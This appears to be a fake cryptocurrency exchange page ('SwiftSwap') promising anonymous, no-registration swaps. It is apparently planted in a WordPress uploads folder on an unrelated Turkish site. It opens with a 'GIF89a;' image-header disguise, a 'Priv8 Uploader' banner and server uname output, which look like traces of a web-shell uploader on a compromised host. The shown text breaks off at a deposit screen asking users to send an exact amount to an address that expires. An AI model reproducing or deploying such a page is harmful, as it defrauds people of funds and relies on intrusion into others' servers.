GIF89a;
Priv8 Uploader By InMyMine7
Linux normalajans.net.tr 5.4.0-88-generic #99-Ubuntu SMP Thu Sep 23 17:29:00 UTC 2021 x86_64
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SwiftSwap - Instant Crypto Exchange | No Account, No KYC, No Limits</title>
<meta name="description" content="Swap Bitcoin, Ethereum, Solana and 30+ cryptocurrencies in under 3 minutes. No sign-up, no ID check, no paperwork. Just pick your coins, paste your wallet, and go. 0.8% flat fee, nothing hidden.">
<meta name="keywords" content="crypto swap, cryptocurrency exchange no registration, swap bitcoin anonymous, exchange ethereum no KYC, instant crypto exchange, convert crypto, bitcoin to ethereum, solana swap, litecoin exchange, tron exchange, no account crypto swap, private crypto exchange, swap coins online, krypto tauschen, echange crypto, intercambio criptomonedas, crypto wisselen, scambio crypto">
<meta name="robots" content="index, follow, max-snippet:-1, max-image-preview:large">
<link rel="canonical" href="https://oadamlar.com.tr/wp-content/uploads/2026/02/index.html">
<meta name="geo.region" content="EU">
<meta name="language" content="English">
<meta http-equiv="content-language" content="en">
<meta property="og:title" content="SwiftSwap - Instant Crypto Exchange | No Account Needed">
<meta property="og:description" content="Trade 30+ cryptocurrencies without signing up. No ID, no email, no nonsense. Flat 0.8% fee. Done in minutes.">
<meta property="og:type" content="website">
<meta property="og:url" content="https://oadamlar.com.tr/wp-content/uploads/2026/02/index.html">
<meta property="og:locale" content="en_US">
<meta property="og:locale:alternate" content="en_GB">
<meta property="og:locale:alternate" content="de_DE">
<meta property="og:locale:alternate" content="fr_FR">
<meta property="og:locale:alternate" content="es_ES">
<meta property="og:locale:alternate" content="it_IT">
<meta property="og:locale:alternate" content="nl_NL">
<meta property="og:locale:alternate" content="pt_PT">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:title" content="SwiftSwap - No-Account Crypto Exchange">
<meta name="twitter:description" content="Pick your coins. Paste your wallet. Done. 30+ cryptos, zero registration.">
<script type="application/ld+json">{"@context":"https://schema.org","@type":"WebApplication","name":"SwiftSwap","description":"Instant cryptocurrency exchange with no registration. Swap Bitcoin, Ethereum, Solana and over 30 cryptocurrencies anonymously with a flat 0.8% fee.","url":"https://swiftswap.io","applicationCategory":"FinanceApplication","operatingSystem":"Web","availableLanguage":["en","de","fr","es","it","nl","pt"],"offers":{"@type":"Offer","description":"Cryptocurrency exchange with 0.8% flat fee","priceCurrency":"EUR"},"featureList":["No registration required","No KYC verification","30+ supported cryptocurrencies","Real-time exchange rates","QR code deposit","Flat 0.8% fee"]}</script>
<script type="application/ld+json">{"@context":"https://schema.org","@type":"FAQPage","mainEntity":[{"@type":"Question","name":"Do I need to create an account to swap crypto?","acceptedAnswer":{"@type":"Answer","text":"No. You never need to sign up, verify your identity, or hand over personal information. Just choose your coins, enter your receiving wallet address, and send your deposit."}},{"@type":"Question","name":"What fees does the exchange charge?","acceptedAnswer":{"@type":"Answer","text":"A flat 0.8% on every swap. The rate shown already includes the fee. Blockchain network fees are separate."}},{"@type":"Question","name":"How long does a crypto exchange take?","acceptedAnswer":{"@type":"Answer","text":"Most swaps finish in 2 to 5 minutes. Bitcoin can take 10-30 min. Faster chains like Solana or TRON settle in under a minute."}},{"@type":"Question","name":"Is this available in Europe?","acceptedAnswer":{"@type":"Answer","text":"Yes. Works worldwide including all European countries. No account or KYC means no regional restrictions."}},{"@type":"Question","name":"Which cryptocurrencies are supported?","acceptedAnswer":{"@type":"Answer","text":"Over 30 cryptocurrencies across Bitcoin, Litecoin, Ethereum ERC-20, BNB Smart Chain BEP-20, Base, Avalanche, Solana SPL, TRON TRC-20, Aptos, Bitcoin Cash, Cardano, and Cronos."}}]}</script>
<link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><text y='.9em' font-size='90'>⚡</text></svg>">
<script src="https://cdn.jsdelivr.net/npm/qrcodejs@1.0.0/qrcode.min.js"></script>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=DM+Sans:opsz,wght@9..40,300;9..40,400;9..40,500;9..40,600;9..40,700&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">
<style>
*{margin:0;padding:0;box-sizing:border-box}
:root{--bg:#0a0b0f;--bg2:#12131a;--card:#14151f;--inp:#1a1b27;--hov:#1f2130;--bd:#262838;--bdf:#4f6ef7;--t1:#e8ebf2;--t2:#868ca6;--t3:#525672;--ac:#4f6ef7;--ac2:#6380ff;--acg:rgba(79,110,247,.12);--g:#22c55e;--gbg:rgba(34,197,94,.08);--y:#eab308;--ybg:rgba(234,179,8,.07);--rd:12px;--rd2:16px;--sh:0 4px 30px rgba(0,0,0,.35)}
html{scroll-behavior:smooth;-webkit-font-smoothing:antialiased}
body{font-family:'DM Sans',system-ui,sans-serif;background:var(--bg);color:var(--t1);min-height:100vh;overflow-x:hidden}
body::before{content:'';position:fixed;top:-35%;left:-15%;width:70vw;height:70vw;background:radial-gradient(circle,rgba(79,110,247,.05) 0%,transparent 60%);pointer-events:none;z-index:0}
body::after{content:'';position:fixed;bottom:-25%;right:-10%;width:55vw;height:55vw;background:radial-gradient(circle,rgba(120,60,220,.035) 0%,transparent 60%);pointer-events:none;z-index:0}
a{text-decoration:none}
header{position:sticky;top:0;z-index:100;background:rgba(10,11,15,.88);backdrop-filter:blur(24px);-webkit-backdrop-filter:blur(24px);border-bottom:1px solid var(--bd)}
.hd{max-width:1200px;margin:0 auto;display:flex;align-items:center;justify-content:space-between;padding:14px 24px}
.logo{display:flex;align-items:center;gap:10px}
.logo-i{width:34px;height:34px;border-radius:9px;background:linear-gradient(135deg,var(--ac),#7c5bf0);display:flex;align-items:center;justify-content:center}
.logo-i svg{width:18px;height:18px;color:#fff}
.logo-t{font-size:19px;font-weight:700;color:var(--t1);letter-spacing:-.5px}
.logo-t b{color:var(--ac);font-weight:700}
nav{display:flex;gap:4px}
nav a{color:var(--t2);font-size:13.5px;font-weight:500;padding:7px 13px;border-radius:8px;transition:.2s}
nav a:hover{color:var(--t1);background:var(--hov)}
.ldot{display:inline-block;width:6px;height:6px;border-radius:50%;background:var(--g);margin-right:5px;animation:lp 2s infinite}
@keyframes lp{0%,100%{opacity:1}50%{opacity:.3}}
.hero{text-align:center;padding:55px 24px 20px;position:relative;z-index:1}
.hero h1{font-size:clamp(26px,4.8vw,44px);font-weight:700;letter-spacing:-1px;line-height:1.15;margin-bottom:16px}
.hero h1 em{font-style:normal;background:linear-gradient(135deg,var(--ac),#a78bfa,#e879a8);-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text}
.hero p{color:var(--t2);font-size:16.5px;max-width:600px;margin:0 auto;line-height:1.65}
.badges{display:flex;justify-content:center;gap:14px;margin-top:22px;flex-wrap:wrap}
.bdg{display:flex;align-items:center;gap:6px;font-size:12.5px;color:var(--t2);background:var(--card);border:1px solid var(--bd);padding:7px 14px;border-radius:20px}
.bdg svg{width:14px;height:14px;color:var(--g);flex-shrink:0}
.stats{display:flex;justify-content:center;gap:36px;padding:24px 24px 8px;flex-wrap:wrap;position:relative;z-index:1}
.stat{text-align:center}
.stat b{font-size:20px;display:block}
.stat b .gn{color:var(--g)}
.stat small{font-size:11px;color:var(--t3);text-transform:uppercase;letter-spacing:.5px}
.wrap{max-width:500px;margin:28px auto 50px;padding:0 18px;position:relative;z-index:1}
.card{background:var(--card);border:1px solid var(--bd);border-radius:var(--rd2);padding:26px;box-shadow:var(--sh)}
.row{margin-bottom:5px}
.lbl{font-size:12.5px;color:var(--t2);margin-bottom:7px;font-weight:500}
.igrp{display:flex;gap:8px;background:var(--inp);border:1px solid var(--bd);border-radius:var(--rd);padding:4px;transition:.2s}
.igrp:focus-within{border-color:var(--bdf)}
.igrp input{flex:1;background:none;border:none;outline:none;font-size:21px;font-weight:600;color:var(--t1);padding:11px;font-family:inherit;min-width:0}
.igrp input::placeholder{color:var(--t3)}
.igrp input.sm{font-size:13.5px!important;font-weight:400!important}
.sel{display:flex;align-items:center;gap:8px;background:var(--hov);border:1px solid var(--bd);border-radius:10px;padding:7px 13px;cursor:pointer;transition:.2s;white-space:nowrap;min-width:145px;user-select:none}
.sel:hover{background:var(--bg2);border-color:var(--t3)}
.sel img{width:24px;height:24px;border-radius:50%;object-fit:cover}
.sel .nm{font-weight:600;font-size:14px;line-height:1.2}
.sel .nt{font-size:10px;color:var(--t3);line-height:1.2}
.sel svg{margin-left:auto;width:15px;height:15px;color:var(--t3)}
.sdir{display:flex;justify-content:center;margin:-2px 0;position:relative;z-index:2}
.sdir button{width:38px;height:38px;border-radius:50%;background:var(--card);border:2px solid var(--bd);color:var(--t2);cursor:pointer;display:flex;align-items:center;justify-content:center;transition:.25s}
.sdir button:hover{border-color:var(--ac);color:var(--ac);background:var(--acg);transform:rotate(180deg)}
.rinfo{display:flex;justify-content:space-between;align-items:center;padding:12px 0 0;font-size:12.5px;color:var(--t2);flex-wrap:wrap;gap:5px}
.rinfo .fee{color:var(--y)}
.rinfo .live{color:var(--g);font-size:11px}
.btn{width:100%;padding:15px;margin-top:18px;background:linear-gradient(135deg,var(--ac),#6366f1);border:none;border-radius:var(--rd);color:#fff;font-size:15.5px;font-weight:600;cursor:pointer;font-family:inherit;transition:.25s}
.btn:hover{transform:translateY(-1px);box-shadow:0 8px 32px rgba(79,110,247,.3)}
.btn:active{transform:translateY(0)}
.btn:disabled{opacity:.45;cursor:not-allowed;transform:none;box-shadow:none}
.btn2{width:100%;padding:14px;margin-top:18px;background:var(--hov);border:1px solid var(--bd);border-radius:var(--rd);color:var(--t2);font-size:14px;font-weight:500;cursor:pointer;font-family:inherit;transition:.15s}
.btn2:hover{border-color:var(--t3);color:var(--t1)}
/* ========= MODAL ========= */
.mov{display:none;position:fixed;inset:0;z-index:1000;background:rgba(0,0,0,.72);backdrop-filter:blur(6px);align-items:center;justify-content:center;padding:20px}
.mov.on{display:flex}
.mdl{background:var(--card);border:1px solid var(--bd);border-radius:var(--rd2);width:100%;max-width:440px;max-height:78vh;display:flex;flex-direction:column;box-shadow:0 25px 60px rgba(0,0,0,.5);animation:mIn .2s ease}
@keyframes mIn{from{opacity:0;transform:scale(.96) translateY(10px)}}
.mdl-h{display:flex;align-items:center;justify-content:space-between;padding:18px 22px 13px;border-bottom:1px solid var(--bd)}
.mdl-h h3{font-size:15px;font-weight:600}
.mdl-x{width:30px;height:30px;border-radius:8px;border:none;background:var(--hov);color:var(--t2);cursor:pointer;display:flex;align-items:center;justify-content:center;font-size:17px;transition:.15s}
.mdl-x:hover{background:var(--inp);color:var(--t1)}
.mdl-s{padding:11px 22px}
.mdl-s input{width:100%;padding:10px 13px;background:var(--inp);border:1px solid var(--bd);border-radius:10px;color:var(--t1);font-size:13.5px;outline:none;font-family:inherit;transition:.2s}
.mdl-s input::placeholder{color:var(--t3)}
.mdl-s input:focus{border-color:var(--bdf)}
.mdl-l{flex:1;overflow-y:auto;padding:6px 10px 14px}
.mdl-l::-webkit-scrollbar{width:5px}
.mdl-l::-webkit-scrollbar-thumb{background:var(--bd);border-radius:3px}
.ci{display:flex;align-items:center;gap:11px;padding:9px 11px;border-radius:10px;cursor:pointer;transition:.12s;border:1px solid transparent}
.ci:hover{background:var(--hov)}
.ci.on{background:var(--acg);border-color:rgba(79,110,247,.25)}
.ci img{width:30px;height:30px;border-radius:50%;object-fit:cover;background:var(--inp)}
.ci-i{flex:1;min-width:0}
.ci-n{font-weight:600;font-size:13.5px}
.ci-n span{color:var(--t3);font-weight:400;font-size:11.5px}
.ci-p{font-size:11.5px;color:var(--t3)}
.ci-t{font-size:10px;padding:2px 7px;border-radius:20px;background:var(--inp);color:var(--t3);border:1px solid var(--bd);white-space:nowrap}
/* ========= ORDER / DEPOSIT VIEW — EXPANDED ========= */
.ov{display:none}
.ov.on{display:block}
.sf.off{display:none}
.order-wrap{max-width:620px;margin:0 auto;padding:0 18px;position:relative;z-index:1}
.order-card{background:var(--card);border:1px solid var(--bd);border-radius:20px;padding:0;box-shadow:0 8px 60px rgba(0,0,0,.5);overflow:hidden;position:relative}
/* Animated gradient top bar */
.order-topbar{height:4px;background:linear-gradient(90deg,var(--ac),#a78bfa,#e879a8,var(--ac));background-size:300% 100%;animation:gradSlide 3s ease infinite}
@keyframes gradSlide{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}}
/* Ambient bg for deposit section */
.order-ambient{position:absolute;top:0;left:50%;transform:translateX(-50%);width:500px;height:500px;background:radial-gradient(circle,rgba(79,110,247,.08) 0%,transparent 65%);pointer-events:none;z-index:0}
.order-inner{position:relative;z-index:1;padding:32px 32px 28px}
/* Status section */
.o-status{display:flex;align-items:center;gap:14px;margin-bottom:24px;padding:18px 20px;background:rgba(79,110,247,.06);border:1px solid rgba(79,110,247,.12);border-radius:14px;animation:fadeIn .5s ease}
@keyframes fadeIn{from{opacity:0;transform:translateY(8px)}to{opacity:1;transform:translateY(0)}}
.o-dot-wrap{position:relative;width:44px;height:44px;flex-shrink:0}
.o-dot-ring{position:absolute;inset:0;border-radius:50%;border:2px solid rgba(234,179,8,.3);animation:ringPulse 2s ease infinite}
.o-dot-ring2{position:absolute;inset:-6px;border-radius:50%;border:1px solid rgba(234,179,8,.1);animation:ringPulse 2s ease .5s infinite}
@keyframes ringPulse{0%{transform:scale(.9);opacity:1}100%{transform:scale(1.4);opacity:0}}
.o-dot{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);width:16px;height:16px;border-radius:50%;animation:dotPulse 2s ease infinite}
.o-dot.w{background:var(--y);box-shadow:0 0 20px rgba(234,179,8,.5)}
.o-dot.cf{background:var(--ac);box-shadow:0 0 20px rgba(79,110,247,.5)}
.o-dot.ex{background:#a78bfa;box-shadow:0 0 20px rgba(167,139,250,.5)}
.o-dot.sn{background:var(--g);box-shadow:0 0 20px rgba(34,197,94,.5)}
.o-dot.dn{background:var(--g);box-shadow:0 0 20px rgba(34,197,94,.5);animation:none}
.o-dot.w ~ .o-dot-ring,.o-dot.w ~ .o-dot-ring2{border-color:rgba(234,179,8,.3)}
@keyframes dotPulse{0%,100%{opacity:1;transform:translate(-50%,-50%) scale(1)}50%{opacity:.5;transform:translate(-50%,-50%) scale(.85)}}
.o-status-info{flex:1}
.o-status-txt{font-size:17px;font-weight:700;margin-bottom:2px}
.o-status-sub{font-size:13px;color:var(--t2)}
/* Order ID */
.o-id-row{display:flex;justify-content:space-between;align-items:center;padding-bottom:18px;margin-bottom:20px;border-bottom:1px solid var(--bd)}
.o-id{font-family:'JetBrains Mono',monospace;color:var(--t2);font-size:12px;background:var(--inp);padding:4px 10px;border-radius:6px}
.cpb{background:var(--hov);border:1px solid var(--bd);color:var(--t2);padding:6px 14px;border-radius:8px;font-size:12px;cursor:pointer;font-family:inherit;font-weight:500;transition:.15s;white-space:nowrap}
.cpb:hover{border-color:var(--t3);color:var(--t1);background:var(--inp)}
/* Progress bar */
.o-prg{display:flex;justify-content:space-between;margin-bottom:28px;position:relative;padding:0 4px}
.o-prg::before{content:'';position:absolute;top:18px;left:24px;right:24px;height:3px;background:var(--bd);border-radius:2px}
.o-prg-fill{position:absolute;top:18px;left:24px;height:3px;background:linear-gradient(90deg,var(--ac),#a78bfa);border-radius:2px;transition:width .8s ease;width:0%}
.o-prg-s{display:flex;flex-direction:column;align-items:center;gap:8px;position:relative;z-index:1;min-width:52px}
.o-prg-s .c{width:36px;height:36px;border-radius:50%;background:var(--inp);border:2.5px solid var(--bd);display:flex;align-items:center;justify-content:center;font-size:13px;font-weight:700;color:var(--t3);transition:all .4s ease}
.o-prg-s.a .c{border-color:var(--ac);color:#fff;background:var(--ac);box-shadow:0 0 16px rgba(79,110,247,.4);animation:stepGlow 2s ease infinite}
@keyframes stepGlow{0%,100%{box-shadow:0 0 16px rgba(79,110,247,.4)}50%{box-shadow:0 0 28px rgba(79,110,247,.6)}}
.o-prg-s.d .c{border-color:var(--g);background:var(--g);color:#fff;box-shadow:0 0 12px rgba(34,197,94,.3)}
.o-prg-s .lb{font-size:11px;color:var(--t3);font-weight:500}
.o-prg-s.a .lb{color:var(--t1)}
.o-prg-s.d .lb{color:var(--g)}
/* Deposit amount - big & centered */
.o-dep{text-align:center;margin-bottom:24px;animation:fadeIn .6s ease .1s both}
.o-dep h4{font-size:13px;color:var(--t3);margin-bottom:8px;font-weight:500;text-transform:uppercase;letter-spacing:1px}
.o-dep-amt{font-size:36px;font-weight:700;display:flex;align-items:center;justify-content:center;gap:12px;margin-bottom:2px}
.o-dep-amt img{width:32px;height:32px;border-radius:50%;box-shadow:0 4px 12px rgba(0,0,0,.3)}
.o-dep-coin{font-size:14px;color:var(--t2)}
/* QR Code section */
.o-qr{display:flex;justify-content:center;margin:20px 0;animation:fadeIn .6s ease .2s both}
.o-qr-box{background:#fff;border-radius:16px;padding:16px;box-shadow:0 8px 32px rgba(0,0,0,.3);position:relative}
.o-qr-box::after{content:'';position:absolute;inset:-2px;border-radius:18px;background:linear-gradient(135deg,var(--ac),#a78bfa,var(--ac));z-index:-1;opacity:.4}
/* Address box */
.o-addr{background:var(--inp);border:1px solid var(--bd);border-radius:12px;padding:16px;display:flex;align-items:center;gap:12px;margin:16px 0;animation:fadeIn .6s ease .3s both}
.o-addr-txt{flex:1;font-family:'JetBrains Mono',monospace;font-size:12px;word-break:break-all;color:var(--t2);line-height:1.6}
.o-addr-copy{background:var(--ac);color:#fff;border:none;padding:10px 18px;border-radius:10px;font-size:12px;cursor:pointer;font-weight:600;font-family:inherit;white-space:nowrap;transition:.15s}
.o-addr-copy:hover{background:var(--ac2);transform:translateY(-1px)}
/* Warning */
.o-warn{padding:14px 16px;border-radius:12px;background:var(--ybg);border:1px solid rgba(234,179,8,.12);font-size:12px;color:var(--y);line-height:1.6;display:flex;gap:10px;align-items:flex-start;margin-bottom:24px;animation:fadeIn .6s ease .4s both}
.o-warn svg{flex-shrink:0;margin-top:2px}
/* Timer bar animation */
.o-timer{margin-bottom:20px;display:flex;align-items:center;justify-content:center;gap:8px;padding:10px 16px;background:rgba(79,110,247,.06);border:1px solid rgba(79,110,247,.1);border-radius:10px;font-size:13px;color:var(--t2)}
.o-timer svg{width:15px;height:15px;color:var(--ac);flex-shrink:0}
.o-timer b{color:var(--t1);font-family:'JetBrains Mono',monospace;font-size:14px;font-weight:600}
/* Order details grid */
.o-grid{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-bottom:8px;animation:fadeIn .6s ease .5s both}
.o-det{background:var(--inp);border-radius:12px;padding:14px;border:1px solid transparent;transition:.2s}
.o-det:hover{border-color:var(--bd)}
.o-det small{font-size:10px;color:var(--t3);text-transform:uppercase;letter-spacing:.5px;display:block;margin-bottom:4px}
.o-det strong{font-size:13.5px;font-weight:600;display:flex;align-items:center;gap:6px}
.o-det strong img{width:16px;height:16px;border-radius:50%}
/* Floating particles in deposit view */
.particles{position:absolute;inset:0;overflow:hidden;pointer-events:none;z-index:0;border-radius:20px}
.particle{position:absolute;width:3px;height:3px;background:var(--ac);border-radius:50%;opacity:0;animation:float 6s ease-in-out infinite}
.particle:nth-child(1){left:10%;top:20%;animation-delay:0s;animation-duration:7s}
.particle:nth-child(2){left:80%;top:15%;animation-delay:1s;animation-duration:5s;background:#a78bfa}
.particle:nth-child(3){left:50%;top:60%;animation-delay:2s;animation-duration:8s}
.particle:nth-child(4){left:25%;top:80%;animation-delay:3s;animation-duration:6s;background:#e879a8}
.particle:nth-child(5){left:70%;top:40%;animation-delay:1.5s;animation-duration:7s;background:#a78bfa}
.particle:nth-child(6){left:90%;top:70%;animation-delay:0.5s;animation-duration:5.5s}
.particle:nth-child(7){left:15%;top:50%;animation-delay:2.5s;animation-duration:6.5s;background:#e879a8}
.particle:nth-child(8){left:60%;top:85%;animation-delay:3.5s;animation-duration:8s;background:#a78bfa}
@keyframes float{0%{opacity:0;transform:translateY(20px) scale(0)}20%{opacity:.6;transform:translateY(0) scale(1)}80%{opacity:.6;transform:translateY(-30px) scale(1)}100%{opacity:0;transform:translateY(-60px) scale(0)}}
/* Scan line animation */
.scanline{position:absolute;left:0;right:0;height:1px;background:linear-gradient(90deg,transparent,rgba(79,110,247,.15),transparent);z-index:0;animation:scanDown 4s linear infinite;pointer-events:none}
@keyframes scanDown{0%{top:0;opacity:0}10%{opacity:1}90%{opacity:1}100%{top:100%;opacity:0}}
/* ========= CONTENT SECTIONS ========= */
.sec{max-width:880px;margin:0 auto;padding:48px 24px;position:relative;z-index:1}
.sec h2{font-size:26px;font-weight:700;text-align:center;margin-bottom:8px;letter-spacing:-.5px}
.sec .sub{text-align:center;color:var(--t2);margin-bottom:36px;font-size:14.5px;max-width:540px;margin-left:auto;margin-right:auto;line-height:1.6}
.grid3{display:grid;grid-template-columns:repeat(auto-fit,minmax(210px,1fr));gap:16px}
.grid4{display:grid;grid-template-columns:repeat(auto-fit,minmax(230px,1fr));gap:16px}
.stp{background:var(--card);border:1px solid var(--bd);border-radius:var(--rd2);padding:26px 22px;text-align:center;transition:.25s}
.stp:hover{border-color:var(--ac);transform:translateY(-2px)}
.stp-n{width:38px;height:38px;border-radius:50%;background:var(--acg);border:1px solid rgba(79,110,247,.18);color:var(--ac);font-weight:700;font-size:15px;display:inline-flex;align-items:center;justify-content:center;margin-bottom:14px}
.stp h3{font-size:15px;margin-bottom:7px;font-weight:600}
.stp p{font-size:12.5px;color:var(--t2);line-height:1.65}
.wcard{background:var(--card);border:1px solid var(--bd);border-radius:var(--rd2);padding:24px 22px;transition:.2s}
.wcard:hover{border-color:rgba(79,110,247,.3)}
.wcard-icon{width:44px;height:44px;border-radius:12px;display:flex;align-items:center;justify-content:center;margin-bottom:14px}
.wcard-icon svg{width:22px;height:22px}
.wcard-icon.purple{background:rgba(167,139,250,.1);color:#a78bfa}
.wcard-icon.blue{background:rgba(79,110,247,.1);color:var(--ac)}
.wcard-icon.green{background:rgba(34,197,94,.1);color:var(--g)}
.wcard-icon.pink{background:rgba(232,121,168,.1);color:#e879a8}
.wcard h3{font-size:15px;margin-bottom:6px;font-weight:600}
.wcard p{font-size:12.5px;color:var(--t2);line-height:1.65}
.cgrid{display:grid;grid-template-columns:repeat(auto-fill,minmax(145px,1fr));gap:9px}
.citem{display:flex;align-items:center;gap:9px;background:var(--card);border:1px solid var(--bd);border-radius:10px;padding:10px 12px;transition:.15s}
.citem:hover{border-color:var(--t3)}
.citem img{width:26px;height:26px;border-radius:50%;object-fit:cover;background:var(--inp)}
.citem b{font-size:12.5px;display:block}
.citem span{font-size:10px;color:var(--t3);display:block}
.flist{max-width:680px;margin:0 auto}
.faq{border:1px solid var(--bd);border-radius:var(--rd);margin-bottom:7px;overflow:hidden;background:var(--card)}
.faq summary{padding:14px 18px;cursor:pointer;display:flex;justify-content:space-between;align-items:center;font-weight:600;font-size:13.5px;transition:.15s;list-style:none;user-select:none}
.faq summary::-webkit-details-marker{display:none}
.faq summary:hover{background:var(--hov)}
.faq summary svg{transition:transform .25s;flex-shrink:0;color:var(--t3)}
.faq[open] summary svg{transform:rotate(180deg)}
.faq .ans{padding:0 18px 14px;font-size:12.5px;color:var(--t2);line-height:1.7}
footer{border-top:1px solid var(--bd);padding:28px 24px;text-align:center;font-size:11.5px;color:var(--t3);position:relative;z-index:1}
footer a{color:var(--t2)}footer a:hover{color:var(--t1)}
.flinks{display:flex;justify-content:center;gap:18px;margin-bottom:10px;flex-wrap:wrap}
.toast{position:fixed;bottom:24px;left:50%;transform:translateX(-50%) translateY(100px);background:var(--card);border:1px solid var(--bd);border-radius:10px;padding:11px 18px;font-size:12.5px;font-weight:500;box-shadow:var(--sh);z-index:9999;transition:transform .3s;display:flex;align-items:center;gap:7px}
.toast.show{transform:translateX(-50%) translateY(0)}
@media(max-width:640px){
.hd{padding:11px 16px}nav a{padding:5px 9px;font-size:12px}.hero{padding:36px 16px 16px}.card{padding:18px 14px}
.igrp input{font-size:18px}.sel{min-width:120px;padding:7px 10px}.stats{gap:20px}.o-grid{grid-template-columns:1fr}
.o-dep-amt{font-size:26px}.cgrid{grid-template-columns:repeat(auto-fill,minmax(125px,1fr))}.badges{gap:8px}.bdg{font-size:11px;padding:5px 10px}
.order-inner{padding:24px 18px 20px}.o-prg-s{min-width:44px}.o-prg-s .c{width:30px;height:30px;font-size:11px}.o-prg-s .lb{font-size:9px}
}
::-webkit-scrollbar{width:7px}::-webkit-scrollbar-track{background:var(--bg)}::-webkit-scrollbar-thumb{background:var(--bd);border-radius:4px}::selection{background:rgba(79,110,247,.3)}
</style>
</head>
<body>
<header><div class="hd">
<a href="#" class="logo"><div class="logo-i"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="M13 2L3 14h9l-1 8 10-12h-9l1-8z"/></svg></div><div class="logo-t">Swift<b>Swap</b></div></a>
<nav><a href="#how"><span class="ldot"></span>Live</a><a href="#how">How it works</a><a href="#coins">Coins</a><a href="#faq">FAQ</a></nav>
</div></header>
<section class="hero">
<h1>Swap crypto. <em>No account.</em><br>Done in minutes.</h1>
<p>Pick your coins, paste a wallet address, and that's literally it. No sign-up forms, no selfies with your passport, no waiting around for approval. Just a clean swap at a fair rate.</p>
<div class="badges">
<div class="bdg"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>100% Anonymous</div>
<div class="bdg"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 11.08V12a10 10 0 11-5.93-9.14"/><path d="M22 4L12 14.01l-3-3"/></svg>No Registration</div>
<div class="bdg"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><path d="M12 6v6l4 2"/></svg>~3 Min Swaps</div>
</div>
</section>
<div class="stats">
<div class="stat"><b id="sExch">-</b><small>Swaps today</small></div>
<div class="stat"><b><span class="gn">●</span> Online</b><small>All systems</small></div>
<div class="stat"><b>~3 min</b><small>Avg. time</small></div>
<div class="stat"><b>0.8%</b><small>Flat fee</small></div>
</div>
<!-- SWAP FORM -->
<section class="wrap" id="swap">
<div class="card sf" id="swapForm">
<div class="row"><div class="lbl">You send</div>
<div class="igrp"><input type="number" id="sendAmt" placeholder="0.00" value="0.1" min="0" step="any">
<div class="sel" onclick="openM('send')"><img id="sImg" src="" alt=""><div><div class="nm" id="sName">BTC</div><div class="nt" id="sNet">Bitcoin</div></div><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M6 9l6 6 6-6"/></svg></div></div></div>
<div class="sdir"><button onclick="swapDir()"><svg width="17" height="17" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M7 16V4m0 0L3 8m4-4l4 4m6 4v12m0 0l4-4m-4 4l-4-4"/></svg></button></div>
<div class="row"><div class="lbl">You receive</div>
<div class="igrp"><input type="number" id="recvAmt" placeholder="0.00" readonly>
<div class="sel" onclick="openM('recv')"><img id="rImg" src="" alt=""><div><div class="nm" id="rName">ETH</div><div class="nt" id="rNet">Ethereum</div></div><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M6 9l6 6 6-6"/></svg></div></div></div>
<div class="rinfo"><span id="rateDisp">Loading rate...</span><span class="fee">0.8% fee included</span><span class="live" id="rLive"></span></div>
<div style="margin-top:16px"><div class="lbl">Your <span id="rLabel">ETH</span> wallet address</div>
<div class="igrp" style="margin-top:5px"><input type="text" id="recAddr" class="sm" placeholder="Paste your receiving wallet address here"></div></div>
<button class="btn" onclick="startExchange()">Start Exchange</button>
</div>
</section>
<!-- ORDER VIEW (separate, bigger) -->
<div class="ov" id="orderView">
<div class="order-wrap">
<div class="order-card">
<div class="order-topbar"></div>
<div class="particles"><div class="particle"></div><div class="particle"></div><div class="particle"></div><div class="particle"></div><div class="particle"></div><div class="particle"></div><div class="particle"></div><div class="particle"></div></div>
<div class="scanline"></div>
<div class="order-ambient"></div>
<div class="order-inner">
<div class="o-status" id="oStatus">
<div class="o-dot-wrap"><div class="o-dot w" id="oDot"></div><div class="o-dot-ring" id="oRing1"></div><div class="o-dot-ring2" id="oRing2"></div></div>
<div class="o-status-info"><div class="o-status-txt" id="oTxt">Waiting for your deposit</div><div class="o-status-sub" id="oSub">Send the exact amount to the address below</div></div>
</div>
<div class="o-id-row"><span style="font-size:13px;font-weight:600">Order</span><span class="o-id" id="ordId">SW-XXXXXXXX</span><button class="cpb" onclick="cpy(document.getElementById('ordId').textContent)" style="margin-left:auto">Copy ID</button></div>
<div class="o-prg" id="oPrg">
<div class="o-prg-fill" id="oPrgFill"></div>
<div class="o-prg-s a" data-s="0"><div class="c">1</div><div class="lb">Deposit</div></div>
<div class="o-prg-s" data-s="1"><div class="c">2</div><div class="lb">Confirm</div></div>
<div class="o-prg-s" data-s="2"><div class="c">3</div><div class="lb">Swap</div></div>
<div class="o-prg-s" data-s="3"><div class="c">4</div><div class="lb">Send</div></div>
<div class="o-prg-s" data-s="4"><div class="c">✓</div><div class="lb">Done</div></div>
</div>
<div class="o-timer" id="oTimer"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><path d="M12 6v6l4 2"/></svg>This address expires in <b id="oCountdown">59:59</b></div>
<div id="depSec">
<div class="o-dep">
<h4>Send exactly</h4>
<div class="o-dep-amt"><img id="dImg" src="" alt=""><span id="dAmt">0.1</span><span id="dTkr" style="color:var(--t2);font-size:16px">BTC</span></div>
<div class="o-dep-coin" id="dCoinFull">Bitcoin</div>
</div>
